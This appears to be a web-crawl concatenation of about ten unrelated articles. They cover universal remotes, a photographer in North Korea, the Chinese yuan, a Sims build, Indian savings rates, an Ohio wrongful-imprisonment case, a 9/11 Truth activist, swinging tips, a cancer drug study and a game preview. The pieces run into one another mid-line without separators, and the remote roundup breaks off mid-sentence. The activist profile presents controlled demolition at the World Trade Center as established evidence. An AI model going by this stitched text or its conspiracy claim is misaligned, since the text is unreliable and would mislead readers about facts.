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Touchsquid isn’t so much a remote control as it’s a remote control app that turns your Android smartphone or tablet into a universal remote thanks to its pre-programmed database of over 700,000 devices. Of course, your device needs to either have an IR blaster of its own for the app to work (and there’s a list of supported phones and tablets here) or it has to be paired up with an external IR blaster that will send the app’s signals to your home entertainment gear. If you’re looking for a quick way to turn your Android phone—especially if you have a device like an HTC One or a Galaxy S5, both of which have IR built-in, into a universal remote (or you’ve upgraded from those phones and want to find a use for them), this is it. Touchsquid’s software comes in two different flavors, the $14 Home version that lets you control up to 6 devices per “room profile,” and the $40 Pro version, which bumps the device limit up to 14 per “room profile,” adds user-programmable macro buttons, nested buttons, and cross-device syncing to the pot. Best of all, if you’re not sure it’ll work for you, you can download a free trial from Google Play. In every case though, you just tell Touchsquid what devices you have in your home theater, which ones you use for what, program your activities (much in a similar fashion to Harmony devices), and you’re off and away.
Those of you who nominated Touchsquid pointed out that it loads quickly and it’s fairly snappy for the features that it offers, and that it’s pretty straightforward to program and operate. You noted that it works well with external IR blasters you can connect to via Bluetooth or Wi-Fi, and that also gives you the freedom to turn any Android device in the house into a universal remote control, and you don’t need line of sight to manage any of your devices. Of course, using your Android device’s touchscreen to control your entertainment center comes with downsides—namely that you don’t have hard buttons or tactile feedback, but if you don’t mind that, it’s worth checking out. You can read its nomination thread here.
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Logitech’s Harmony Home and Harmony Smart Control are certainly different, but we’re putting them together in this category because of the one critical feature they have in common: The Home Hub. On its own, this $93 device lets you use your smartphone or tablet as a remote control for not just your home entertainment devices, but other smart home or connected devices around your house. That means thermostats, lighting systems, security systems, and more. It’s all programmable and customizable, and you can manage it all from your phone, tablet, or both. Of course, whether you’re geared more towards controlling entertainment devices or smart home devices will determine whether you want the Harmony Ultimate Home ($287 at Amazon) or the Harmony Smart Control ($100 at Amazon). The Ultimate Home (and the step-down Harmony Home Control) are designed to control everything in your home—not just your multimedia gear, but anything that can be controlled over Bluetooth, Wi-Fi, RF, or IR. The Harmony Smart Control on the other hand is designed more for closed-cabinet control of all of your entertainment electronics, still works with your smartphone or tablet, and is designed firmly for living room use. It can even be expanded by purchasing extra controls for other rooms in the house, all connected to the same Home Hub. It’s a little confusing (okay, very confusing) but once you spend time comparing the devices at Logitech’s site, you’ll be able to choose which option has the features you’ll need. The big thing here is that all of these revolve around the Home Hub to control multiple devices with your smartphone or tablet OR an included Harmony remote, all capable of managing all sorts of devices in your home, whether they’re traditionally receptive to a remote control or not.
Those of you who nominated the Harmony Ultimate Home, Smart Control, and Smart Home all praised each iteration for giving you just the features you need without forcing you to overspend on a package you didn’t want. For example, the Smart Home might be a great option over the Ultimate Home for those folks not interested in the touch screen on the Ultimate or the extra features, but for those folks just looking for a simpler remote, the Smart Control might be better off. Logitech themselves popped in to nominate the Harmony Ultimate Home, but a few of you had praise for the more modest Smart Control in nomination threads like this, saying it controls all the devices you need it to control without any extra (or pricier) bells and whistles. Some of you even praised the white version of the Smart Home in nomination threads like this one, noting that you liked the color, but also that you could use it to control lots of devices in your home—not just your TV and entertainment gear, and none of it needed line of sight to work. Almost all of you said that once you moved up to these systems and got used to them, you couldn’t see yourself needing another remote system again.
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We have to give some love to the simple RCA Universal Remote, which has come in several shapes and sizes over the years. Most of the nominations though were for this four-device model for $9 at Amazon or its smaller 3-device version for $6. In each case, these remotes are much simpler, and harken back to a simpler day of universal remote programming—meaning you’ll need to give it control codes if it doesn’t automatically know the type of device you’re trying to manage—and even then, getting it to work may be hit or miss. That said, if your devices all use common codes, it’s a simple device that can replace your other remote controls for essentially a few bucks out of your pocket. There are RCA universal remote variants available too, some of which are built to replace your cable remote as well as your TV remote, and some are backlit to be easy to find in the dark, but all of them have one thing in common: they’re dirt cheap and get the job done.
Those of you who nominated these pointed specifically to their price point, too—you said that some of you don’t need all the bells and whistles of smart home controls and other widgets and accessories, and you don’t have a massive home entertainment setup that warrants an expensive universal remote. You might have a TV remote, a cable remote, and maybe one other you’d like to replace, and this does the job nicely, is cheap, and you won’t feel bad if you lose or break it. A few of you lamented the fact that these remotes can be tricky to program, don’t work with your specific devices (and when that happens, there’s nothing you can really do), and aren’t as advanced or robust as others, but for others of you, that’s the whole point. You can read more in its nomination thread here.
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The Logitech Harmony 650 (and, to be fair, if I added them up, the Harmony 350 and the also-discontinued higher end Harmony 700 or Harmony 880,) were also popular in the nominations round, largely because they represented a somewhat simpler time in universal remote setup and use. These remotes are a bit more durable, have more controls and buttons on the remotes themselves and smaller touchscreens, and while they support fewer devices, they’re also not incredibly expensive. The Harmony 650 is $65 at Amazon, for example, can control eight devices, has a color screen for programmable activities or favorite channels, has one-touch activity buttons, and walks the line between just the options you need and a wallet-friendly price.
This was a recurring theme in the 650’s massive nomination thread. You shared your experiences both with these remotes failing on you and being replaced by Logitech, but many of you pointing out that the 650 does exactly what you needed it to do without costing you a ton of money and requiring you spend a lot of time setting up extra devices, installing apps, or trying to get used to using multiple devices to control your gear. Many of you lamented it being part of an older generation of universal remotes, that it requires line of sight to work, and so on, but others |
is now a National Geographic photography fellow, had gone to North Korea for a six-day assignment for The New York Times, initially to photograph a trip by Gloria Steinem and other peace activists who were meeting with North and South Korean women. But as with any of his more than 40 previous trips there, he found time to document daily moments.
Face it: In a place as walled-off and mysterious as North Korea, any image not produced by the state was a revelation. In a way, Mr. Guttenfelder said, he felt it was his responsibility to show the outside world the reality away from stage-managed events.
“It’s an amazing place to work as a photographer,” he said. “Anything I photograph I feel is of news value because we don’t know what the places looks like. Every picture looks like a piece of a puzzle, and the sum of the parts begin to reveal something.”
Continue reading the main story Video
That approach dates to one of his earliest trips to North Korea in 2000, when he accompanied then-Secretary of State Madeleine K. Albright on a visit to Pyongyang. Back then, the Communist government gave new meaning to the notion of a closed society: The windows on his bus were covered with drapes, and he was told not to even bother taking out a camera. Even the windows of his hotel were covered.
“I couldn’t see outside,” he said. “I had the feeling that North Korea was not real. That it was a facade, like ‘The Truman Show.’ That’s what most people still think about North Korea.”
The importance of that visit took a back seat to things he began to notice on the periphery, like a scene of children tossing snowballs. At one point, when Dr. Albright was at a ceremony where food was being donated, he noticed a child who was cutting up in class. He could identify, imagining himself as a child being the class clown. It was a breakthrough moment.
“Regular life shouldn’t be surprising. It should not be surprising there is real life and people try to get by.” — David Guttenfelder
“That was a surprising moment and informed how I try to photograph the country,” he said. “There are connections to be made. There are universal things to discover in a photo. Regular life shouldn’t be surprising. It should not be surprising there is real life and people try to get by. That seems to be one of the loudest things I can say with really subtle, mundane moments.”
He embraced that approach in earnest in 2013, when North Korea allowed local 3G mobile phone service, permitting him to do everything people in the United States were doing on their smartphones, including using Twitter, Instagram and Foursquare. While others used the technology for personal reasons and connections, he saw the value as a journalist in an isolated society.
His Instagram feed attracted hundreds of thousands of followers, and he realized this work on social media was as important as any of the other photography and journalism he was doing. With his use of Periscope, he continued to find new ways to use new tools, even if he had first used it only a month earlier — to watch the title bout between Manny Pacquiao and Floyd Mayweather Jr. “I ended up watching with some family in Mexico filming the fight” on their living room television, he said. “I hadn’t used it until I got to North Korea.”
But once there, he took advantage. During a drive in the countryside, he again pointed his phone out the window, showing rural scenes.
“To see the countryside, the rural areas of the country, and know it was not me being led, directed to stand in some spot, this was clearly candid, the world passing by…,” he said. “Even if the video is a bit shaky, it’s certainly not broadcast quality, but it’s more powerful in a way. People feel they are there, and you can transport them to a place very few people have ever seen.”
Continue reading the main story Video
Bringing outsiders into close contact with life in North Korea — if only via a phone or a laptop — continues to guide Mr. Guttenfelder. He has been curating @EverydayDPRK, an Instagram feed in which he features images taken by foreigners living in or visiting North Korea. His contributors include a model-turned-English-teacher from California; a tour guide who had made some 150 trips there; and an Indonesian stay-at-home father.
Each one offers another peek, another piece of the puzzle. Each image also helps dispel some of the misconceptions about the country.
“They are questioning reality,” Mr. Guttenfelder said of some viewers. “It’s hard for people to believe that North Koreans commute to work on the bus, or what they see in cities and the countryside is representative of real life there.”
Granted, a dictatorship wary of the outside world is not an easy place to work. Some critics would counsel him to stay away altogether, rather than try any engagement. Mr. Guttenfelder said that despite the constraints, he had not been censored, which in some ways makes his responsibility even greater: to decide what is real or not.
“Social media is uncharted territory for all of us, including North Korea,” he said. “I’m allowed to work there as a journalist, and this is a tool, one of the many I use to tell the story. I don’t think there is a clear line on this. I also think there shouldn’t be, really. I think it’s in everyone’s interest to have connections made between North Korea, its neighbors and the rest of the world. The more information that flows in both directions, the better for everyone.”
You can view Mr. Guttenfelder’s full photo interactive from North Korea here.
Follow @dguttenfelder on Twitter to see his next Periscope broadcast. @dgbxny and @nytimesphoto are also on Twitter. Lens is on Facebook and Instagram.Text size
It’s enough to make Donald Trump’s head explode: a Chinese currency he calls a relentless American job killer falling right before his eyes - and the U.S. election.
The world gave Beijing everything it wanted when the International Monetary Fund welcomed the yuan into its special-drawing rights system. It’s a be-careful-what-you-wish-for moment. Just as when China joined the World Trade Organization, the West lost leverage after Beijing got its way. Now, Beijing is guiding the yuan lower, much to Tokyo’s displeasure, too. By standing pat yesterday, the Bank of Japan signaled that the days of yen depreciation are over.
But does the yuan’s 4% drop this year, more than 1.5% in October alone, suggest something darker than supporting growth - that China is in much worse shape than we know?
No one can tell, given China’s opacity. Capital outflows, though, can be a useful predictor of crisis points. That’s why a Hurun Report study published Monday could be an omen of things to come. It found that 60% of Chinese wealthy elites will be buying more properties abroad in the next few years. Why? To hedge against currency depreciation. The exchange rate is edging toward 7 per U.S. dollar. Are Beijing’s ultra-rich, many either members of or enjoying close Communist Party ties, betting on the yuan sliding to 8 or even 9?
Again, no one knows, but President Xi Jinping must know he’d never get away with that whether Trump or Hillary Clinton occupies the White House. One possibility: Beijing’s elites see a cacophony of economic cracks. Like magic, Beijing pulled a 6.7% figure out of its hat in the third quarter - bang on what investors expected (and wanted). But China isn’t getting much help from the external sector, no matter how stimulative exchange rates may be as the U.S. underwhelms, Europe stagnates and Abenomics fizzles (the BoJ slashed its inflation forecast again yesterday).
That means the dials on Beijing’s stimulus engines are turned up to 11 and adding to its risk profile. Looked through this lens, there’s nothing surprising about the manufacturing sector rebounding more than expected in October. Or that Richard Turnill, BlackRock’s global chief investment strategist, thinks China’s rebound is unfolding as planned. But at what cost?
Chinese debt jumped $4.5 trillion in the last 12 months alone, according to Zero Hedge. Essentially, Beijing is supporting old bubbles with a package of new ones. The Wall Street Journal’s latest China exposé provides a useful timeline on Beijing’s numerous bubble gambits. Equally interesting is how the most tried and true bubble pumps aren’t working like they used to. Take the mainland housing market, which has had an unusually wild ride this year. On the one hand, regulators tried to make mortgages harder to obtain in the frothiest cities. On the other, they tried to support depressed areas.
Beijing, says Rosealea Yao, economist at Gavekal Dragonomics, is “torn between conflicting imperatives: both to support economic growth with easy credit, and to keep prices from surging out of control.” The upshot, she adds, is that “policy has also unintentionally widened the price gap between the top cities and everywhere else, a divergence that looks very difficult to reverse.”
“ China is keen to revive the export engine, but it must tread carefully. It’s bad enough a sliding yuan is trolling Trump amid a contentious U.S. election and irking the IMF. The real risk is that Beijing’s elites and investors alike pull the plug. ”
This speaks to the risks inherent to propping up existing asset imbalances with new ones, the tactic that has shortsellers like Kyle Bass circling. Earlier this year, the founder of Dallas-based Hayman Capital Management spelled out his concerns by focusing on the number 34. That’s how much, in percentage terms, exports contributed to gross domestic product in 2005 (roughly 10 years later, it was down to 23%). As the export engine lost thrust, Beijing opened the investment throttle more and more. By 2015, Bass argues, the credit boom in China’s bank sector hit the $34 trillion mark.
That historic buildup, Bass said in February, meant “China is at a point where its banking system can no longer support such massive growth, and the strong renminbi has effectively undermined the competitiveness of China’s export economy. A dramatic devaluation of the renminbi is warranted to regain export competitiveness.”
Only Xi’s inner circle knows whether that “dramatic” move is afoot. China is keen to revive the export engine, but it must tread carefully. It’s bad enough a sliding yuan is trolling Trump amid a contentious U.S. election and irking the IMF. The real risk is that Beijing’s elites and investors alike pull the plug.
Thing is, Bass and his ilk will be right at some point about a bubble in Chinese bubbles being unsustainable. Every industrializing nation hits a financial dead end, and China will, too. The only questions are when and how? The when is up for debate, but, more often than not, the how begins with a run on currencies. That’s why the yuan’s decline bears close watching.
Email: william.pesek@barrons.com
@WilliamPesek
Comments? E-mail us at asia.editors@barrons.com
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Follow Barron’s Asia on Twitter30+ photos of pointe square~
so stargazersims asked if i built the community lot that alessandra and matt are often on. i built it as a “downtown” area in itself, so i wanted to show you guys around. it’s still a work in progress! also, i am awful at exteriors, so do not judge me please!
let me know if they’re broken. some weird stuff happenin’ on tumblr.
the links attached to some of the names are websites that correspond with that business. check them out if you’d like! :)
under the cut:
laundromat + pointe grocery
still working on the shelves, hoping to fill with all simlish products.
law office (landgraab, stevenson, & deluca)
there’s major walkways all throughout, with a city park in the middle.
newsstand near the movie theater
cinema
pub/”farmcart” restaurant
inside “farmcart”
inside the bar
wedding boutique by the bar
small clinic near the movie theater
used the maxis room, may change it later. but it was the best use of space for a tiny clinic.
each building has a second floor, and there’s still a lot of vacancy. on top of the movie theater is the bistro.
inside bistro
hotel takes up two floors. (not using the hotel mod here.)
hallway to the rooms. they’re pretty basic right now, so no photos inside. :)
salon
home of the newcrest courier, the newspaper in newcrest. it’s the second floor of the bar and law office. (website coming soon!)
interior design firm that matt works at, scott & watson.
matt’s office
realty office, second floor of the laundromat and grocery, next door to scott & watson
that’s it for now! i hope to add more to it, and i’ll keep you posted. :)
if you made it here, thank you so much for looking! xIn a move that will hit the common man, the government today slashed interest rates payable on small savings including the popular public provident fund (PPF) and Kisan Vikas Patra (KVP) in a bid to align them closer to market rates.As a part of its February 16 decision to revise interest rates on small savings every quarter, the interest rate on public provident fund (PPF) scheme will be cut to 8.1 percent for the period April 1 to June 30, from 8.7 percent, at present.Similarly, the interest rate on KVP will be cut to 7.8 percent from 8.7 percent, according to a Finance Ministry order.Among the other schemes, the government cut rates across savings scheme spectrum, barring post office, which was retained at 4 percent."On the basis of the decisions of the government, interest rates for small savings schemes are to be notified on quarterly basis," the order said announcing the rates for the first quarter of fiscal 2016-17.The government had on February 16 announced moving small saving interest rates closer to market rates.On that day, rates on short-term post office deposits was cut by 0.25 percent but long-term instruments such as MIS, PPF, senior citizen and girl child schemes were left untouched."The government's decision to reset the rates is to align them with market rates," ICRA Economist Aditi Nayar told CNBC-TV18.She added that the high savings rate on such instruments were becoming a hindrance for banks to cut their own deposit rates (such as those on FDs), which in turn keeps lending rates high -- as banks' cost of funds do not fall.High lending rates deter the Reserve Bank of India to cut its own repo rate, on the grounds that its previous lending rates are yet to be transmitted into the banking system."This move will help improve transmission of RBI's rate cuts," Nayar said.For instance, starting 2015, the Reserve Bank has cut its repo rate a total of 125 basis points, or 1.25 percent. But despite this, yields on the tradable g-sec have only fallen from a peak of 7.9 percent to 7.5 percent currently.Nayar added that she expects the RBI to cut rates once in April and again post the monsoon, depending on how rainfall fares.Previously, both RBI governor Raghuram Rajan and chief economic advisor Arvind Subramanian have made the case for the government to cut rates on small savings scheme, saying that the high savings instrument rates keep other market rates from falling.The move, however, is likely to prove to be unpopular, considering that the ruling BJP party faces elections in five states this year, apart from crucially important UP next."Is the government trying to tell the common man that do not rely upon us? Already, the economy is struggling with a slowdown, rural distress and unseasonal rains," Congress spokesperson Randeep Surjewala told CNBC-TV18."This is a direct attack on the common man as these are the only savings instruments for them," he added. "Whether it is the MSP, cutting subsidies on food and fertilizers, taxing readymade garments or artificial jewelry, and now this, why is the pain of reform only being inflicted on the common man."The Congress would pressure the government to roll back the decision, "as we did in the EPF move," he said.The BJP, on the other hand, said that there was economic rationale behind the decision, and said the government had only merely moved from resetting the rate yearly to quarterly.Twitterati was also quick to react:Dale Johnston's self-described "hell" over not being acknowledged as innocent of a pair of grisly murders largely was extinguished this morning by the Ohio Supreme Court. The justices voted unanimously that Johnston is entitled to seek a finding of innocence and, if successful, collect damages for wrongful imprisonment for the nearly six years he spent on Death Row.
Dale Johnston admits he�s a stubborn cuss.
He�s not going to go down, either legally or literally, until he wins the acknowledgment he has sought for more than three decades -- he�s not a killer.
�I�m innocent and I always have been,� Johnston said this morning. �If I live long enough, I might finally get my justice. I�m 82 now. I�m pushing it. But, I�m still in the game.�
Johnston�s self-described �hell� over not being declared innocent of a pair of grisly murders partly was extinguished this morning by the Ohio Supreme Court.
The justices ruled unanimously that he is entitled to seek a finding of innocence and, if successful, collect damages for wrongful imprisonment for the more than six years he spent on Death Row.
Johnston�s lawyer had argued that his client from Grove City was entitled to another chance at vindication under a 2003 change to the state's wrongful-imprisonment law.
The court agreed, saying the change in law retroactively applies to Johnston�s latest case, entitling him to return to appeals court for correct what he said was long-denied justice.
Johnston was sentenced to death for fatally shooting his stepdaughter and her fianc� in 1982 and carving up their bodies, with pieces thrown into the Hocking River and a Hocking County cornfield.
However, the shaky case against him, built on police and prosecutorial misconduct and withheld evidence, fell apart on appeal and Johnston escaped the electric chair. He was freed from prison in 1990.
He was convicted by three judges in 1984 for the murders of Annette Cooper, 18, and Todd Schultz, 19. In 2008, Chester McKnight, a drifter and drug addict, confessed to killing the couple and was sentenced to life in prison.
Johnston has fought in the courts for decades to clear his name, fearing he might die before it happened.
>
>
A Franklin County judge found he was innocent, but the county appeals court ruled that the judge erred when he retroactively applied the 2003 change in law to Johnston�s case.
While conceding Johnston was not guilty, the office of Attorney General Mike DeWine fought his bid for legal vindication and monetary damages, saying he was not entitled to the retroactive application of the law.
DeWine spokesman Dan Tierney said today that state lawyers will continue to argue that Johnston is barred from pursuing his claim by the statute of limitations and a prior finding that he was not wrongfully imprisoned.
At arguments in March, the court seemed sympathetic to the plight of Johnston.
Johnston said that for years, he understood the doubt in some people�s minds over his innocence.
�Up until 2008, they really didn�t know who did or didn�t kill the kids. But after 2008 when McKnight confessed, it leaves no doubt... and here we are seven years later, still fighting."
rludlow@dispatch.com
@RandyLudlowAndy Steele of 9/11 Free Fall RadioAndy Steele’s work as a community organizer may not have taken the same path as President Obama’s, but it has provided him with some interesting experiences. After spending a summer as a guest English teacher at a Chinese university, Andy returned to the US and received a degree in Creative Writing. One week after his return, 9/11 happened. A friend in China forwarded him an email suggesting that people in our own government were involved and, at the time, he dismissed the idea.
While teaching English in Uzbekistan as a Peace Corps volunteer in 2004-05, Andy organized his 1st-5th grade students to pick up trash in their neighborhood. This upset government officials because it made those in charge of picking up the trash look bad. This seemingly minor incident, plus the uprising that occurred in Uzbekistan while he was there, changed his world view (Massacre in Uzbekistan is a film that documents the killing of almost 1,000 people on the orders of dictator Islam Karimov, a friend of U.S. leaders at the time).
Though the Peace Corps mission in Uzbekistan was closed in 2005 after the massacre, Andy produced textbooks for his Uzbek students after coming home, using his skills as a cartoonist for many of the illustrations. While visiting a cartoon video website, Andy came across a post about 9/11 Truth that was obviously mistakenly entered, but it did re-introduce him to the issue. Shortly thereafter, an appearance by Alex Jones on Coast-to-Coast AM late-night talk radio got him further interested and involved.
Seeing how the "War On Terror" in response to 9/11 was killing many innocent civilians with drone attacks, he emailed every member of Congress to protest this policy.
Andy then started his own Myspace page, which later evolved into America 20xy, an independent news service that he edits. He had been a regular contributor to Opednews and other alternative media, and hosts a weekly podcast program, 9/11 Free Fall, on No Lies Radio Thursdays at 7 pm PST.
January 2013 Police Fax CampaignAndy helped organize the January 2013 fax to all 12,000 police chiefs and sheriffs in the country, outlining the evidence of controlled demolition at the World Trade Center on 9/11. He also encourages citizens to talk to elected officials on C-SPAN’s morning call-in show, Washington Journal, and confront them with this evidence. Consequently, several members of Congress have expressed interest in investigating the collapse of WTC Building 7, including Rep. Marcy Kaptur from the 9th District of Ohio.
Richard Gage, AIA, said: “Andy is that rare breed of a self-directed volunteer who is relentlessly in pursuit of educating the public and professionals. Whether it's organizing a team of callers to bring up the 9/11 issue on TV shows, sending a fax of 9/11 evidence to law enforcement officers, or fearlessly speaking out to the thousands of listeners on his AE911Truth-based 9/11 Free Fall radio show, he never, ever gives up. I can’t wait to see what he comes up with next – whatever it is will undoubtedly remove mountains of denial.”August 18, 2017
Can Shy Couples Be Swingers Too?
Of course you can!
The Lifestyle is rooted in social interactions — both online and in-person — so it’s not uncommon for all couples (regardless of
whether or not you identify as shy) to feel intimidated by the prospect of meeting, flirting with and pursuing new friendships and connections.
Being shy, however, does not mean that you cannot fully indulge in the swinging experience; with a little guidance and practice, you’ll find your groove and be well on your way to making new connections, cultivating lasting friendships and igniting the sexual spark with other couples in the Lifestyle.
I turned to my friends from PlayboyTV’s Swing (click here for the NSFW link which confirms they are the antitheses of shy!) for their advice for shy folks in the Lifestyle. Here’s what they had to say:
Tammy McCray of pdxsanctuary.com offers the following insight:
“Having our own Lifestyle club has really opened our eyes to how difficult it can be if a couple is shy. Couples should try to contact the event host via email/PM prior to the event and ask any and all questions they have. This helps in two ways:
1. It can ease any fears or concerns they may have and they can enter the situation with far less trepidation,
2. They will feel like at the very least they “know” the event organizers prior to the event so they have a familiar face so seek out upon arrival.”
She offers these additional tips:
Tell the event organizer that you are shy and need help and ask them to introduce you to the most gregarious person/couple in the room. They’ll be thrilled to introduce you around!
If possible, scan the guest list and do as much “research” as possible on other attendees. You can then approach people you recognize.
Remember that outgoing people generally love to make shy people feel welcome. We had a single guy that came solo to an event and he simply walked up to a group and said, “May I join your conversation?” It was totally effective. Much better than standing around feeling awkward. There is no harm in just being honest, “Hi, we’re not great at this, can we join your conversation?”
A good suggestion for shy couples would be to search out events that are specifically geared toward meeting new people. That increases the likelihood that there will be other couples in the same boat and that may ease their shyness. We created a meet-and-greet event every Friday for just this purpose.
Kristal & Mike agree:
“Many shy couples prefer quieter environments and one-on-one meetings where they can hear and be heard. Louder, higher intensity parties where people are often grouped up with friends they regularly hang out with (i.e., cliques) can be more of a challenge to navigate.”
Daniel (of Swing’s Nikki & Daniel) adds:
“Being shy means finding ways to navigate social situations that don’t have immediate consequences. We were discussing this in one of my local groups the other day and came up with several ideas.
Role play with your spouse on approaches. – Most shy people will be the first to admit they don’t know how to flirt. If they read articles online about best flirtation techniques, they can get a sense of what they can do in a non-pressure environment to express interest. (Arm touches, specific compliments when someone is funny/smart/appealing) Role playing will give the shy couple a chance to feed off of each other and boost each other’s confidence, as well as give clues to when their partner may falter and need the help of their wing-person. Place a ball in the other person’s court for a later time. – If you’re in a group setting, the fear of rejection can be overwhelming. If you’re meeting new people, give them your contact info with a generalized statement like “We would be interested in getting dinner/drinks with you guys sometime soon. Shoot us a text or call when works for you.” An open-ended overture hands the control over to the other couple and eliminates the fear of on-the-spot rejection. Consider using “Hint Cards” at a party. Have the chemistry conversation.
We all know you can use “chemistry” as a way to decline an invitation. For example: “We only capitalize on moments where we are feeling the chemistry. Chemistry is tricky, and sometimes it may change based on our own mood, but the chemistry just isn’t there for us tonight.”
But you can also use chemistry to offer an invitation: “Not sure how you guys are feeling tonight, but we feel that there’s a certain chemistry we would like to explore with you.”
In addition to the practical advice from these sage and experienced swingers, I have a few science-based tips to boost your confidence and improve your social game:
Understand the science of likability. Shy people are more likable, so don’t pretend to be something you’re not. Expand your comfort zone in small doses without playing a role that’s at odds with your personal values and disposition. Practice new social skills in lower-intensity settings; for example, if you really struggle with initiating social contact, practice smiling at or saying hello to strangers at the hardware store before you attempt to do so at a Lifestyle event. Enacting new and challenging behavioural skills in low-pressure environments can help you to overcome initial shyness and build the confidence to do so in more intense (and sexually charged) settings.
This approach is similar to the “exposure hierarchy” used by cognitive behavioural therapists: if you experience anxiety in social situations like dating, we help you to create a list of exposures (experiences) in ascending order of anxiety-producing intensity. For example, you might practice making eye contact with the bus driver, saying “good morning” to a mail carrier, asking a stranger for the time and/or making small talk with your local barista. As you perform each task on the list and your worst fears (e.g. social rejection, embarrassment, hyperventilation) don’t come to fruition, your anxiety decreases and you The key to overcoming anxiety is to expose yourself to the anxiety-producing stimulus or situation and you can do so in small steps; avoidance of the stimulus only serves to intensify the anxiety. Shyness is often rooted in a tendency to overestimate negative scrutiny and reaction, so positive planning can go a long way to help you to overcome shy tendencies. Think about what you might talk about in advance just as you would if you were going on a first date. What questions can you ask to learn more about others? Asking questions to show genuine curiosity and listening intently to the responses fosters meaningful connections and makes you more likeable. Be your own best friend. Shyness is also associated with a critical inner dialogue, so chances are you’re being to hard on yourself. Cut it out!
When you catch negative self-talk running through your mind, think about what your best friend would say to refute your doubts; they’d offer reassurance and a confidence-boost and it’s essential that you learn to do the same for yourself.
You’ve got this!23 December 2016
A combination of a diabetes medication and an antihypertensive drug can effectively combat cancer cells. The team of researchers led by Prof. Michael Hall at the Biozentrum of the University of Basel has also reported that specific cancer cells respond to this combination of drugs. The results of the study have now been published in “Science Advances”.
Metformin is the most widely prescribed drug for the treatment of type 2 diabetes. Besides its blood sugar lowering effect, it also displays anti-cancer properties. The usual therapeutic dose, however, is too low to effectively fight cancer. The research team led by Prof. Michael Hall, at the Biozentrum of the University of Basel, has now made an unexpected discovery: The antihypertensive drug syrosingopine potentiates the anti-cancer efficacy of metformin. Apparently, this drug combination drives cancer cells to programmed “suicide”.
Drug cocktail kills tumor cells
At higher doses, the antidiabetic drug inhibits the growth of cancer cells but could also induce unwanted side effects. Therefore, the researchers screened over a thousand drugs for whether they can enhance the anticancer action of metformin. A favorite emerged from this screening: Syrosingopine, an antihypertensive drug. As the study shows, the cocktail of these two drugs is effective in a wide range of cancers.
“For example, in samples from leukemia patients, we demonstrated that almost all tumor cells were killed by this cocktail and at doses that are actually not toxic to normal cells”, says the first author, Don Benjamin. “And the effect was exclusively confined to cancer cells, as the blood cells from healthy donors were insensitive to the treatment.”
Drugs block “juice” supply to cancer cells
In mice with malignant liver cancer, enlargement of the liver was reduced after the therapy. Also the number of tumor nodules was less - in some animals the tumors disappeared completely. A glance at the molecular processes in the tumor cells explains the drug combination’s efficacy: Metformin lowers not only the blood glucose level, but also blocks the respiratory chain in the energy factories of the cell, the mitochondria. The antihypertensive drug syrosingopine inhibits, among other things, the degradation of sugars.
Thus, the drugs interrupt the vital processes which provide energy for the cell. Due to their increased metabolic activity and rapid growth, cancer cells have a particularly high energy consumption, which makes them extremely vulnerable when the energy supply is reduced.
Groundbreaking step towards clinical application
By testing a range of other compounds with the same mode of action, the scientists could demonstrate that the inhibition of the respiratory chain in the mitochondria is a key mechanism. These also reduced cancer cell growth in combination with the antihypertensive drug.
“We have been able to show that the two known drugs lead to more profound effects on cancer cell proliferation than each drug alone,” explains Benjamin. “The data from this study support the development of combination approaches for the treatment of cancer patients.” This study may have implications for future clinical application of combination scenarios targeting the energy needs of tumor cells.
Original source
Don Benjamin, Marco Colombi, Sravanth K. Hindupur, Charles Betz, Heidi A. Lane, Mahmoud Y. M. El-Shemerly, Min Lu, Luca Quagliata, Luigi Terracciano, Suzette Moes, Timothy Sharpe, Aleksandra Wodnar-Filipowicz, Christoph Moroni, Michael N. Hall
Syrosingopine sensitizes cancer cells to killing by Metformin
Science Advances (2016), doi: 10.1126/sciadv.1601756
Further InformationShare. The historical hack and plan game gets another expansion. The historical hack and plan game gets another expansion.
I think calling video games "hardcore" is generally useless and dishonest, but I suddenly felt a little uncertain about this belief when considering Mount and Blade: With Fire and Sword. The game is the next expansion for the medieval warfare game that mixes high-level strategy, tactical planning, and third person melee action in one continuous experience. Fire and Sword also happens to be based on a Polish historical novel from the late 19th Century—actually the first of a trilogy—about war, intrigue and aristocracy.
While Fire and Sword is based on a novel, it's structured like an open world game so players will still be able to make their way through the world as they see fit. Those familiar with the novel will be able to recreate some its famous conflicts, but if you'd rather create your own empire and story you'll be able to. At the highest level the game shows you a map of Eastern Europe and the Mediterranean that stretches from Sweden to the Ottoman Empire. All the major cities in the area are shown on the map and you can zoom in and out of each to learn more about the people that live there. If you decide to visit a town you can load into it and play as a traditional third person perspective controlling your character.
As the game begins you'll be a villager in Poland. You'll have to accept quests from locals, doing favors, earning trust, and slowly building a band of soldiers to help you in combat. Choosing who to help will determine which kinds of soldiers will join you and the bigger your group becomes the more turf you'll be able to compete for on the map. As you grow from a local hero to an international force you'll be able to choose whether to align with some of the other countries in the game or whether to fight everyone for your own enrichment.
As you begin to fold towns into your control you can play with some sim elements for each one. You'll be able to build universities to train more recruits, build blacksmiths to get access to particular kinds of weapons and so forth. Each nationality will have its own unique combat characteristics. Ottomans tend to fight from horseback and use archers while Swedes are typically heavily armored and can use grenades.
Fire and Sword's combat has been expanded to now include guns as well. There'll be a variety of firearms, including pistols, rifles, and muskets. You'll be able to use these guns in coordination with melee weapons to add a new layer of tactical complexity to combat. In the demo I saw the attacker approached a cluster of enemies from afar firing shots from rifle before getting in close, dismounting and finishing the enemies off with sword attacks. You won't be able to blindly rely on guns however, as each comes with a small number of bullets and a lengthy reloading time.
Sword combat is basically the same as in the original. You'll click the mouse button and then pull the mouse back to simulate winding up for a swing. Your character's swing will correspond with the angle of your mouse gesture. When you release the mouse button you'll swing forward. Timing and a wide variety of different sword and spear lengths give melee combat a sense of nuance. There is a physics system that accompanies the melee combat to give extra boosts if the angle of your swing would naturally have more force when swinging from above or hitting an enemy from the right angle. And as always you'll be giving tactical commands to all of your different units in battle while going through the fight yourself.
As you progress you'll be able to upgrade your character and the units you've recruited. After each battle you'll be able to assign points to attributes like strength and agility, special skills that give you buffs in battle, and weapon upgrades. There's also a flexible trading system that's been rebalanced from the original to make sure that players won't have to grind quite as much to get good equipment in the early portions of the game. As you begin to recruit new units to your army you might not be able to afford to arm them all but the trading system will ensure you can give them decently effective gear. Multiplayer will also return in Fire and Sword, offering chances for cooperative and competitive play in massive battles.
The scale of Mount and Blade is impressive and, while it doesn't look like Fire and Sword will make any dramatic changes in the formula, it's still satisfying to go from the zoomed out strategic map and jump all the way down to ground level in the heat of battle. It's both more strategic than most RTS games and more immediately gratifying because of its direct melee controls.
